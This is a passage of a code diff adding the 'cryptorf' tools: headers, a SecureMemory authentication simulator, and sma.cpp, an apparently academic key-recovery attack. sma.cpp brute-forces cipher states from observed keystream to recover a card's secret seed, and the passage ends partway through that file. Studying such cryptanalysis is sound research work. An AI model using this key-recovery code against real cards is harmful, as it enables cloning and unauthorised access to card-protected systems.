* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _CRYPTOLIB_H_
|
||||
#define _CRYPTOLIB_H_
|
||||
|
||||
#include "defines.h"
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
// A nibble is actually only 4 bits, but there is no such type ;)
|
||||
typedef byte_t nibble;
|
||||
|
||||
typedef struct {
|
||||
uint64_t l;
|
||||
uint64_t m;
|
||||
uint64_t r;
|
||||
nibble b0;
|
||||
nibble b1;
|
||||
nibble b1l;
|
||||
nibble b1r;
|
||||
nibble b1s;
|
||||
}crypto_state_t;
|
||||
typedef crypto_state_t* crypto_state;
|
||||
|
||||
void print_crypto_state(const char* text,crypto_state s);
|
||||
void sm_auth(const byte_t* Gc, const byte_t* Ci, const byte_t* Q, byte_t* Ch, byte_t* Ci_1, crypto_state s);
|
||||
void cm_auth(const byte_t* Gc, const byte_t* Ci, const byte_t* Q, byte_t* Ch, byte_t* Ci_1, byte_t* Ci_2, crypto_state s);
|
||||
void cm_encrypt(const byte_t offset, const byte_t len, const byte_t* pt, byte_t* ct, crypto_state s);
|
||||
void cm_decrypt(const byte_t offset, const byte_t len, const byte_t* ct, byte_t* pt, crypto_state s);
|
||||
void cm_grind_read_system_zone(const byte_t offset, const byte_t len, const byte_t* pt, crypto_state s);
|
||||
void cm_grind_set_user_zone(const byte_t zone, crypto_state s);
|
||||
void cm_mac(byte_t* mac, crypto_state s);
|
||||
void cm_password(const byte_t* pt, byte_t* ct, crypto_state s);
|
||||
|
||||
#endif // _CRYPTOLIB_H_
|
36
tools/cryptorf/defines.h
Normal file
36
tools/cryptorf/defines.h
Normal file
|
@ -0,0 +1,36 @@
|
|||
/*
|
||||
*
|
||||
* Defines
|
||||
*
|
||||
* Copyright (C) 2010, Flavio D. Garcia, Peter van Rossum, Roel Verdult
|
||||
* and Ronny Wichers Schreur. Radboud University Nijmegen
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _DEFINES_H_
|
||||
#define _DEFINES_H_
|
||||
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#define _CRT_SECURE_NO_DEPRECATE
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#define null 0
|
||||
typedef unsigned char byte_t;
|
||||
typedef long long unsigned int ui64;
|
||||
|
||||
#endif // _DEFINES_H_
|
2
tools/cryptorf/laundry.sh
Executable file
2
tools/cryptorf/laundry.sh
Executable file
|
@ -0,0 +1,2 @@
|
|||
#!/bin/sh
|
||||
./crf 4f794a463ff81d81 2 0 80 546dae
|
77
tools/cryptorf/sm.c
Normal file
77
tools/cryptorf/sm.c
Normal file
|
@ -0,0 +1,77 @@
|
|||
/*
|
||||
*
|
||||
* SecureMemory simulation
|
||||
*
|
||||
* Copyright (C) 2010, Flavio D. Garcia, Peter van Rossum, Roel Verdult
|
||||
* and Ronny Wichers Schreur. Radboud University Nijmegen
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*
|
||||
*/
|
||||
|
||||
#include "defines.h"
|
||||
#include "cryptolib.h"
|
||||
#include "util.h"
|
||||
#include <stdio.h>
|
||||
|
||||
int main(int argc, const char* argv[])
|
||||
{
|
||||
// Cryptomemory state
|
||||
crypto_state_t s;
|
||||
size_t pos;
|
||||
|
||||
byte_t Q[8] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; // Reader random
|
||||
byte_t Gc[8] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; // Secret seed
|
||||
byte_t Ci[8] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; // Card random (last state)
|
||||
byte_t Ch[8] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; // Reader answer
|
||||
byte_t Ci_1[8] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; // Card answer
|
||||
|
||||
// Various argument options
|
||||
ui64 nGc; // Card secret
|
||||
ui64 nCi; // Card random
|
||||
ui64 nQ; // Reader main-random
|
||||
|
||||
// Show header and help syntax
|
||||
printf("SecureMemory simulator - (c) Radboud University Nijmegen\n");
|
||||
if (argc < 4)
|
||||
{
|
||||
printf("\nsyntax: sm <Gc> <Ci> <Q>\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Parse arguments
|
||||
sscanf(argv[1],"%016llx",&nGc); num_to_bytes(nGc,8,Gc);
|
||||
sscanf(argv[2],"%016llx",&nCi); num_to_bytes(nCi,8,Ci);
|
||||
sscanf(argv[3],"%016llx",&nQ); num_to_bytes(nQ,8,Q);
|
||||
|
||||
// Calculate authentication
|
||||
sm_auth(Gc,Ci,Q,Ch,Ci_1,&s);
|
||||
|
||||
printf("\nAuthentication info\n\n");
|
||||
printf(" Gc: "); print_bytes(Gc,8);
|
||||
printf(" Ci: "); print_bytes(Ci,8);
|
||||
printf(" Q: "); print_bytes(Q,8);
|
||||
printf(" Ch: "); print_bytes(Ch,8);
|
||||
printf("Ci+1: "); print_bytes(Ci_1,8);
|
||||
printf("\n");
|
||||
printf(" Ks: ");
|
||||
for (pos=0; pos<8; pos++)
|
||||
{
|
||||
printf("%02x ",Ci_1[pos]);
|
||||
printf("%02x ",Ch[pos]);
|
||||
}
|
||||
printf("\n\n");
|
||||
|
||||
return 0;
|
||||
}
|
918
tools/cryptorf/sma.cpp
Normal file
918
tools/cryptorf/sma.cpp
Normal file
|
@ -0,0 +1,918 @@
|
|||
/*
|
||||
*
|
||||
* SecureMemory recovery
|
||||
*
|
||||
* Copyright (C) 2010, Flavio D. Garcia, Peter van Rossum, Roel Verdult
|
||||
* and Ronny Wichers Schreur. Radboud University Nijmegen
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*
|
||||
* Modified Iceman, 2020
|
||||
*/
|
||||
|
||||
#include "defines.h"
|
||||
#include "cryptolib.h"
|
||||
#include "util.h"
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
#include <iostream>
|
||||
#include <vector>
|
||||
#include <map>
|
||||
#include <algorithm> // sort, max_element, random_shuffle, remove_if, lower_bound
|
||||
#include <functional> // greater, bind2nd
|
||||
|
||||
using namespace std;
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#define inline __inline
|
||||
#endif
|
||||
|
||||
/*
|
||||
>./sm 4f794a463ff81d81 ffffffffffffffff 1234567812345678
|
||||
SecureMemory simulator - (c) Radboud University Nijmegen
|
||||
|
||||
Authenticate
|
||||
Gc: 4f 79 4a 46 3f f8 1d 81
|
||||
Ci: ff ff ff ff ff ff ff ff
|
||||
Q: 12 34 56 78 12 34 56 78
|
||||
Ch: 88 c9 d4 46 6a 50 1a 87
|
||||
Ci+1: de c2 ee 1b 1c 92 76 e9
|
||||
|
||||
Ks: de 88 c2 c9 ee d4 1b 46 1c 6a 92 50 76 1a e9 87
|
||||
|
||||
left: 1ddeac626
|
||||
right: 19aba45
|
||||
|
||||
left-candidates bins:
|
||||
004df8a64 (74)
|
||||
0059ff7d5 (81)
|
||||
00d2ff4ed (80)
|
||||
032df8b12 (78)
|
||||
0337b8b7d (87)
|
||||
036f7b607 (77)
|
||||
03a6f882a (79)
|
||||
03b2ff59b (76)
|
||||
04445c715 (74)
|
||||
0452175be (80)
|
||||
0b29f2a5b (78)
|
||||
0f6c834fb (76)
|
||||
0f78aac5b (75)
|
||||
0f79c8d49 (78)
|
||||
109691f61 (70)
|
||||
159d1687e (86)
|
||||
176e73456 (77)
|
||||
1ddeac626 (92)
|
||||
1facee6e5 (78)
|
||||
2049ed469 (80)
|
||||
205078bba (74)
|
||||
31c277406 (81)
|
||||
31c2777e6 (81)
|
||||
3770cdaf3 (74)
|
||||
48916e84e (77)
|
||||
4ba9b6520 (78)
|
||||
4ba9b653f (78)
|
||||
4c51c6463 (82)
|
||||
4c9432733 (76)
|
||||
4e3d88819 (81)
|
||||
4e3d88bf9 (81)
|
||||
51c8755b5 (76)
|
||||
5b2aeb858 (76)
|
||||
5fb612b96 (80)
|
||||
60531191a (78)
|
||||
6221539d9 (92)
|
||||
68918cba9 (79)
|
||||
6c9a11672 (78)
|
||||
6f696e09e (70)
|
||||
7086372b6 (78)
|
||||
7bade8a41 (82)
|
||||
7c90849f8 (77)
|
||||
7cc847482 (87)
|
||||
|
||||
*/
|
||||
|
||||
const uint64_t left_candidates[43] = {
|
||||
0x6221539d9ull, 0x1ddeac626ull, 0x7cc847482ull, 0x0337b8b7dull,
|
||||
0x159d1687eull, 0x7bade8a41ull, 0x4c51c6463ull, 0x4e3d88bf9ull,
|
||||
0x4e3d88819ull, 0x31c2777e6ull, 0x31c277406ull, 0x0059ff7d5ull,
|
||||
0x5fb612b96ull, 0x2049ed469ull, 0x0452175beull, 0x00d2ff4edull,
|
||||
0x68918cba9ull, 0x03a6f882aull, 0x7086372b6ull, 0x6c9a11672ull,
|
||||
0x60531191aull, 0x4ba9b653full, 0x4ba9b6520ull, 0x1facee6e5ull,
|
||||
0x0f79c8d49ull, 0x0b29f2a5bull, 0x032df8b12ull, 0x7c90849f8ull,
|
||||
0x48916e84eull, 0x176e73456ull, 0x036f7b607ull, 0x5b2aeb858ull,
|
||||
0x51c8755b5ull, 0x4c9432733ull, 0x0f6c834fbull, 0x03b2ff59bull,
|
||||
0x0f78aac5bull, 0x3770cdaf3ull, 0x205078bbaull, 0x04445c715ull,
|
||||
0x004df8a64ull, 0x6f696e09eull, 0x109691f61ull
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
uint64_t l;
|
||||
uint64_t m;
|
||||
uint64_t r;
|
||||
nibble b0;
|
||||
nibble b1;
|
||||
nibble b1l;
|
||||
nibble b1r;
|
||||
nibble b1s;
|
||||
bool invalid;
|
||||
byte_t Gc[8];
|
||||
}cs_t;
|
||||
typedef cs_t* pcs;
|
||||
|
||||
typedef struct {
|
||||
byte_t addition;
|
||||
byte_t out;
|
||||
} lookup_entry;
|
||||
|
||||
enum cipher_state_side {
|
||||
CSS_LEFT,
|
||||
CSS_RIGHT
|
||||
};
|
||||
|
||||
void print_cs(const char* text,pcs s)
|
||||
{
|
||||
int pos;
|
||||
|
||||
printf("%s",text);
|
||||
for(pos=6;pos>=0;pos--)
|
||||
printf(" %02x",(byte_t)(s->l>>(pos*5))&0x1f);
|
||||
printf(" |");
|
||||
for(pos=6;pos>=0;pos--)
|
||||
printf(" %02x",(byte_t)(s->m>>(pos*7))&0x7f);
|
||||
printf(" |");
|
||||
for(pos=4;pos>=0;pos--)
|
||||
printf(" %02x",(byte_t)(s->r>>(pos*5))&0x1f);
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
static inline byte_t mod(byte_t a, byte_t m)
|
||||
{
|
||||
// Just return the input when this is less or equal than the modular value
|
||||
if (a<m) return a;
|
||||
|
||||
// Compute the modular value
|
||||
a %= m;
|
||||
|
||||
// Return the funny value, when the output was now zero, return the modular value
|
||||
return (a == 0) ? m : a;
|
||||
}
|
||||
|
||||
static inline byte_t bit_rotate_l(byte_t a, byte_t n_bits)
|
||||
{
|
||||
// Rotate value a with the length of n_bits only 1 time
|
||||
byte_t mask = (1 << n_bits) - 1;
|
||||
return ((a << 1) | (a >> (n_bits - 1))) & mask;
|
||||
}
|
||||
|
||||
static inline byte_t bit_rotate_r(byte_t a, byte_t n_bits)
|
||||
{
|
||||
return ((a >> 1) | ((a&1) << (n_bits - 1)));
|
||||
}
|
||||
|
||||
static byte_t lookup_left_substraction[0x400];
|
||||
static byte_t lookup_right_subtraction[0x400];
|
||||
static lookup_entry lookup_left[0x100000];
|
||||
static lookup_entry lookup_right[0x8000];
|
||||
static byte_t left_addition[0x100000];
|
||||
|
||||
static inline void init_lookup_left()
|
||||
{
|
||||
byte_t b3,b6,temp;
|
||||
int i,index;
|
||||
|
||||
for(i = 0; i <0x400; i++)
|
||||
{
|
||||
b6 = i & 0x1f;
|
||||
b3 = (i >> 5) & 0x1f;
|
||||
index = (b3 << 15) | b6;
|
||||
b6 = bit_rotate_l(b6, 5);
|
||||
|
||||
temp = mod(b3 + b6,0x1f);
|
||||
left_addition[index] = temp;
|
||||
lookup_left[index].addition = temp;
|
||||
lookup_left[index].out = ((temp^b3) & 0x0f);
|
||||
}
|
||||
}
|
||||
|
||||
static inline void init_lookup_right()
|
||||
{
|
||||
byte_t b16,b18,temp;
|
||||
int i,index;
|
||||
|
||||
for(i = 0; i <0x400; i++)
|
||||
{
|
||||
b18 = i & 0x1f;
|
||||
b16 = (i >> 5) & 0x1f;
|
||||
index = (b16 << 10) | b18;
|
||||
|
||||
temp = mod(b18 + b16,0x1f);
|
||||
lookup_right[index].addition = temp;
|
||||
lookup_right[index].out = ((temp^b16) & 0x0f);
|
||||
}
|
||||
}
|
||||
|
||||
static void init_lookup_left_substraction()
|
||||
{
|
||||
for(int index = 0; index < 0x400 ; index++)
|
||||
{
|
||||
byte_t b3 = (index >> 5 & 0x1f);
|
||||
byte_t bx = (index & 0x1f);
|
||||
lookup_left_substraction[index] = bit_rotate_r(mod((bx+0x1f)-b3,0x1f),5);
|
||||
}
|
||||
}
|
||||
|
||||
static void init_lookup_right_substraction()
|
||||
{
|
||||
for(int index = 0; index < 0x400 ; index++)
|
||||
{
|
||||
int b16 = (index >>5);
|
||||
byte_t bx = (index & 0x1f);
|
||||
lookup_right_subtraction[index] = mod((bx+0x1f)-b16,0x1f);
|
||||
}
|
||||
}
|
||||
|
||||
static inline void previous_left(byte_t in, vector<cs_t> *candidate_states)
|
||||
{
|
||||
pcs state;
|
||||
size_t size = candidate_states->size();
|
||||
for(size_t pos=0; pos<size; pos++)
|
||||
{
|
||||
state = &((*candidate_states)[pos]);
|
||||
|
||||
byte_t bx = (byte_t)((state->l >> 30) & 0x1f);
|
||||
unsigned b3 = (unsigned)(state->l >> 5) & 0x3e0;
|
||||
state->l = (state->l << 5);
|
||||
|
||||
//Ignore impossible states
|
||||
if (bx == 0)
|
||||
{
|
||||
// Are we dealing with an impossible state?
|
||||
if (b3 != 0)
|
||||
{
|
||||
state->invalid = true;
|
||||
} else {
|
||||
// We only need to consider b6=0
|
||||
state->l &= 0x7ffffffe0ull;
|
||||
state->l ^= (((uint64_t)in & 0x1f) << 20);
|
||||
}
|
||||
} else {
|
||||
byte_t b6 = lookup_left_substraction[b3|bx];
|
||||
state->l = (state->l & 0x7ffffffe0ull) | b6;
|
||||
state->l ^= (((uint64_t)in & 0x1f) << 20);
|
||||
|
||||
// Check if we have a second candidate
|
||||
if (b6 == 0x1f)
|
||||
{
|
||||
cs_t nstate = *state;
|
||||
nstate.l &= 0x7ffffffe0ull;
|
||||
candidate_states->push_back(nstate);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static inline void previous_right(byte_t in, vector<cs_t> *candidate_states)
|
||||
{
|
||||
pcs state;
|
||||
size_t size = candidate_states->size();
|
||||
for(size_t pos=0; pos<size; pos++)
|
||||
{
|
||||
state = &((*candidate_states)[pos]);
|
||||
|
||||
byte_t bx = (byte_t)((state->r >> 20) & 0x1f);
|
||||
unsigned b16 = (unsigned)(state->r & 0x3e0);//(state->buffer_r >> 10) & 0x1f;
|
||||
|
||||
state->r = (state->r << 5);
|
||||
|
||||
// Ignore impossible states
|
||||
if (bx == 0)
|
||||
{
|
||||
if (b16 != 0)
|
||||
{
|
||||
state->invalid=true;
|
||||
} else {
|
||||
// We only need to consider b18=0
|
||||
state->r &= 0x1ffffe0ull;
|
||||
state->r ^= (((uint64_t)in & 0xf8) << 12);
|
||||
}
|
||||
} else{
|
||||
byte_t b18 = lookup_right_subtraction[b16|bx];
|
||||
state->r = (state->r & 0x1ffffe0ull) | b18;
|
||||
state->r ^= (((uint64_t)in & 0xf8) << 12);
|
||||
//state->b_right = ((b14^b17) & 0x0f);
|
||||
|
||||
// Check if we have a second candidate
|
||||
if (b18 == 0x1f)
|
||||
{
|
||||
cs_t nstate = *state;
|
||||
nstate.r &= 0x1ffffe0ull;
|
||||
candidate_states->push_back(nstate);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static inline byte_t next_left_fast(byte_t in, uint64_t* left)
|
||||
{
|
||||
if (in) *left ^= ((in & 0x1f) << 20);
|
||||
lookup_entry* lookup = &(lookup_left[((*left) & 0xf801f)]);
|
||||
*left = (((*left) >> 5)| ((uint64_t)lookup->addition << 30));
|
||||
return lookup->out;
|
||||
}
|
||||
|
||||
static inline byte_t next_left_ksbyte(uint64_t* left)
|
||||
{
|
||||
lookup_entry* lookup;
|
||||
byte_t bt;
|
||||
|
||||
*left = (((*left) >> 5)| ((uint64_t)left_addition[((*left) & 0xf801f)] << 30));
|
||||
lookup = &(lookup_left[((*left) & 0xf801f)]);
|
||||
*left = (((*left) >> 5)| ((uint64_t)lookup->addition << 30));
|
||||
bt = lookup->out << 4;
|
||||
*left = (((*left) >> 5)| ((uint64_t)left_addition[((*left) & 0xf801f)] << 30));
|
||||
lookup = &(lookup_left[((*left) & 0xf801f)]);
|
||||
*left = (((*left) >> 5)| ((uint64_t)lookup->addition << 30));
|
||||
bt |= lookup->out;
|
||||
return bt;
|
||||
}
|
||||
|
||||
static inline byte_t next_right_fast(byte_t in, uint64_t* right)
|
||||
{
|
||||
if (in) *right ^= ((in&0xf8) << 12);
|
||||
lookup_entry* lookup = &(lookup_right[((*right) & 0x7c1f)]);
|
||||
*right = (((*right) >> 5) | (lookup->addition << 20));
|
||||
return lookup->out;
|
||||
}
|
||||
|
||||
static inline void sm_left_mask(const byte_t* ks, byte_t* mask, uint64_t rstate)
|
||||
{
|
||||
size_t pos;
|
||||
byte_t bt;
|
||||
|
||||
for (pos=0; pos<16; pos++)
|
||||
{
|
||||
next_right_fast(0,&rstate);
|
||||
bt = next_right_fast(0,&rstate) << 4;
|
||||
next_right_fast(0,&rstate);
|
||||
bt |= next_right_fast(0,&rstate);
|
||||
|
||||
// xor the bits with the keystream and count the "correct" bits
|
||||
bt ^= ks[pos];
|
||||
|
||||
// Save the mask for the left produced bits
|
||||
mask[pos] = bt;
|
||||
}
|
||||
}
|
||||
|
||||
static inline uint32_t sm_right(const byte_t* ks, byte_t* mask, vector<uint64_t>* pcrstates)
|
||||
{
|
||||
byte_t tmp_mask[16];
|
||||
size_t pos,bits,bit,topbits;
|
||||
uint64_t rstate,counter;
|
||||
map<uint64_t,uint64_t> bincstates;
|
||||
map<uint64_t,uint64_t>::iterator it;
|
||||
byte_t bt;
|
||||
|
||||
topbits = 0;
|
||||
for (counter=0; counter<0x2000000; counter++)
|
||||
{
|
||||
// Reset the current bitcount of correct bits
|
||||
bits = 0;
|
||||
|
||||
// Copy the state we are going to test
|
||||
rstate = counter;
|
||||
|
||||
for (pos=0; pos<16; pos++)
|
||||
{
|
||||
next_right_fast(0,&rstate);
|
||||
bt = next_right_fast(0,&rstate) << 4;
|
||||
next_right_fast(0,&rstate);
|
||||
bt |= next_right_fast(0,&rstate);
|
||||
|
||||
// xor the bits with the keystream and count the "correct" bits
|
||||
bt ^= ks[pos];
|
||||
|
||||
// Save the mask for the left produced bits
|
||||
tmp_mask[pos] = bt;
|
||||
|
||||
for (bit=0; bit<8; bit++)
|
||||
{
|
||||
// When the bit is xored away (=zero), it was the same, so correct ;)
|
||||
if ((bt & 0x01) == 0) bits++;
|
||||
bt >>= 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (bits > topbits)
|
||||
{
|
||||
topbits = bits;
|
||||
// Copy the winning mask
|
||||
memcpy(mask,tmp_mask,16);
|
||||
}
|
||||
|
||||
// Ignore states under 90
|
||||
if (bits >= 90)
|
||||
{
|
||||
// Make sure the bits are used for ordering
|
||||
bincstates[(((uint64_t)bits)<<56) | counter] = counter;
|
||||
}
|
||||
|
||||
if ((counter&0xfffff) == 0)
|
||||
{
|
||||
printf(".");
|
||||
fflush(stdout);
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
// Clear the candidate state vector
|
||||
pcrstates->clear();
|
||||
|
||||
// Copy the order the states from lowest-bin to highest-bin
|
||||
for(it=bincstates.begin();it!=bincstates.end();++it)
|
||||
{
|
||||
pcrstates->push_back(it->second);
|
||||
}
|
||||
// Reverse the vector order (so the higest bin comes first)
|
||||
reverse(pcrstates->begin(),pcrstates->end());
|
||||
|
||||
return topbits;
|
||||
}
|
||||
|
||||
static inline void previous_all_input(vector<cs_t> *pcstates, uint32_t gc_byte_index, cipher_state_side css)
|
||||
{
|
||||
byte_t btGc,in;
|
||||
vector<cs_t> ncstates;
|
||||
vector<cs_t> prev_ncstates;
|
||||
vector<cs_t>::iterator it,itnew;
|
||||
|
||||
// Loop through the complete entryphy of 5 bits for each candidate
|
||||
// We ignore zero (xor 0x00) to avoid duplicates
|
||||
for (btGc=0; btGc<0x20; btGc++)
|
||||
{
|
||||
// Copy the original candidates that are supplied
|
||||
ncstates = *pcstates;
|
||||
|
||||
// Rollback the (candidate) cipher states with this input
|
||||
if (css == CSS_RIGHT)
|
||||
{
|
||||
in = btGc << 3;
|
||||
previous_right(in,&ncstates);
|
||||
} else {
|
||||
in = btGc;
|
||||
previous_left(in,&ncstates);
|
||||
}
|
||||
|
||||
for(itnew=ncstates.begin();itnew!=ncstates.end();++itnew)
|
||||
{
|
||||
// Wipe away the invalid states
|
||||
if (itnew->invalid == false)
|
||||
{
|
||||
itnew->Gc[gc_byte_index] = in;
|
||||
prev_ncstates.push_back(*itnew);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Copy the previous states into the vector
|
||||
*pcstates = prev_ncstates;
|
||||
}
|
||||
|
||||
static inline void search_gc_candidates_right(const uint64_t rstate_before_gc, const uint64_t rstate_after_gc, const byte_t* Q, vector<cs_t>* pcstates)
|
||||
{
|
||||
vector<cs_t>::iterator it;
|
||||
vector<cs_t> csl_cand;
|
||||
map<uint64_t,uint64_t> matchbox;
|
||||
map<uint64_t,uint64_t>::iterator itmatch;
|
||||
uint64_t rstate;
|
||||
size_t counter;
|
||||
cs_t state;
|
||||
|
||||
// Generate 2^20 different (5 bits) values for the first 4 Gc bytes (0,1,2,3)
|
||||
for (counter=0; counter<0x100000; counter++)
|
||||
{
|
||||
rstate = rstate_before_gc;
|
||||
next_right_fast((counter >> 12) & 0xf8,&rstate);
|
||||
next_right_fast((counter >> 7) & 0xf8,&rstate);
|
||||
next_right_fast(Q[4],&rstate);
|
||||
next_right_fast((counter >> 2) & 0xf8,&rstate);
|
||||
next_right_fast((counter << 3) & 0xf8,&rstate);
|
||||
next_right_fast(Q[5],&rstate);
|
||||
matchbox[rstate] = counter;
|
||||
}
|
||||
|
||||
// Reset and initialize the cryptostate and vecctor
|
||||
memset(&state,0x00,sizeof(cs_t));
|
||||
state.invalid = false;
|
||||
state.r = rstate_after_gc;
|
||||
csl_cand.clear();
|
||||
csl_cand.push_back(state);
|
||||
|
||||
// Generate 2^20(+splitting) different (5 bits) values for the last 4 Gc bytes (4,5,6,7)
|
||||
previous_right(Q[7],&csl_cand);
|
||||
previous_all_input(&csl_cand,7,CSS_RIGHT);
|
||||
previous_all_input(&csl_cand,6,CSS_RIGHT);
|
||||
previous_right(Q[6],&csl_cand);
|
||||
previous_all_input(&csl_cand,5,CSS_RIGHT);
|
||||
previous_all_input(&csl_cand,4,CSS_RIGHT);
|
||||
|
||||
pcstates->clear();
|
||||
|
||||
// Take the intersection of the corresponding states ~2^15 values (40-25 = 15 bits)
|
||||
for(it=csl_cand.begin();it!=csl_cand.end();++it)
|
||||
{
|
||||
itmatch = matchbox.find(it->r);
|
||||
if (itmatch != matchbox.end())
|
||||
{
|
||||
it->Gc[0] = (itmatch->second >> 12) & 0xf8;
|
||||
it->Gc[1] = (itmatch->second >> 7) & 0xf8;
|
||||
it->Gc[2] = (itmatch->second >> 2) & 0xf8;
|
||||
it->Gc[3] = (itmatch->second << 3) & 0xf8;
|
||||
/*
|
||||
printf("%07llx ",it->r);
|
||||
printf("(%x)\n",itmatch->second);
|
||||
*/
|
||||
/*
|
||||
if (it->r == 0xff459b)
|
||||
{
|
||||
print_cs("previous:",&(*it));
|
||||
printf("%07llx\n",it->r);
|
||||
print_bytes(it->Gc,8);
|
||||
}
|
||||
*/
|
||||
pcstates->push_back(*it);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static inline void sm_left(const byte_t* ks, byte_t* mask, vector<cs_t>* pcstates)
|
||||
{
|
||||
map<uint64_t,cs_t> bincstates;
|
||||
map<uint64_t,cs_t>::iterator it;
|
||||
uint64_t counter,lstate;
|
||||
size_t pos,bits,bit;
|
||||
byte_t correct_bits[16];
|
||||
byte_t bt;
|
||||
cs_t state;
|
||||
lookup_entry* lookup;
|
||||
|
||||
// Reset and initialize the cryptostate and vecctor
|
||||
memset(&state,0x00,sizeof(cs_t));
|
||||
state.invalid = false;
|
||||
|
||||
for (counter=0; counter<0x800000000ull; counter++)
|
||||
{
|
||||
lstate = counter;
|
||||
|
||||
for (pos=0; pos<16; pos++)
|
||||
{
|
||||
lstate = (((lstate) >> 5)| ((uint64_t)left_addition[((lstate) & 0xf801f)] << 30));
|
||||
lookup = &(lookup_left[((lstate) & 0xf801f)]);
|
||||
lstate = (((lstate) >> 5)| ((uint64_t)lookup->addition << 30));
|
||||
bt = lookup->out << 4;
|
||||
lstate = (((lstate) >> 5)| ((uint64_t)left_addition[((lstate) & 0xf801f)] << 30));
|
||||
lookup = &(lookup_left[((lstate) & 0xf801f)]);
|
||||
lstate = (((lstate) >> 5)| ((uint64_t)lookup->addition << 30));
|
||||
bt |= lookup->out;
|
||||
|
||||
// xor the bits with the keystream and count the "correct" bits
|
||||
bt ^= ks[pos];
|
||||
|
||||
// When the REQUIRED bits are NOT xored away (=zero), ignore this wrong state
|
||||
if ((bt & mask[pos]) != 0) break;
|
||||
|
||||
// Save the correct bits for statistical information
|
||||
correct_bits[pos] = bt;
|
||||
}
|
||||
|
||||
// If we have parsed all 16 bytes of keystream, we have a valid CANDIDATE!
|
||||
if (pos == 16)
|
||||
{
|
||||
// Count the total correct bits
|
||||
bits=0;
|
||||
for (pos=0; pos<16; pos++)
|
||||
{
|
||||
// Get the next byte-value with correct bits
|
||||
bt = correct_bits[pos];
|
||||
|
||||
// Count all the (correct) bits
|
||||
for (bit=0; bit<8; bit++)
|
||||
{
|
||||
// When the bit is xored away (=zero), it was the same, so correct ;)
|
||||
if ((bt & 0x01) == 0) bits++;
|
||||
bt >>= 1;
|
||||
}
|
||||
}
|
||||
|
||||
// Print the left candidate
|
||||
// printf("%09llx (%d)\n",counter,bits);
|
||||
printf(".");
|
||||
fflush(stdout);
|
||||
|
||||
state.l = counter;
|
||||
// Make sure the bits are used for ordering
|
||||
bincstates[(((uint64_t)bits)<<56) | counter] = state;
|
||||
}
|
||||
|
||||
if ((counter&0xffffffffull) == 0)
|
||||
{
|
||||
printf("%02.1f%%.",((float)100/8)*(counter>>32));
|
||||
fflush(stdout);
|
||||
}
|
||||
}
|
||||
printf("100%%\n");
|
||||
|
||||
// Clear the candidate state vector
|
||||
pcstates->clear();
|
||||
|
||||
// Copy the order the states from lowest-bin to highest-bin
|
||||
for(it=bincstates.begin();it!=bincstates.end();++it)
|
||||
{
|
||||
pcstates->push_back(it->second);
|
||||
}
|
||||
// Reverse the vector order (so the higest bin comes first)
|
||||
reverse(pcstates->begin(),pcstates->end());
|
||||
}
|
||||
|
||||
static inline void search_gc_candidates_left(const uint64_t lstate_before_gc, const byte_t* Q, vector<cs_t>* pcstates)
|
||||
{
|
||||
vector<cs_t> csl_cand,csl_search;
|
||||
vector<cs_t>::iterator itsearch,itcand;
|
||||
map<uint64_t,uint64_t> matchbox;
|
||||
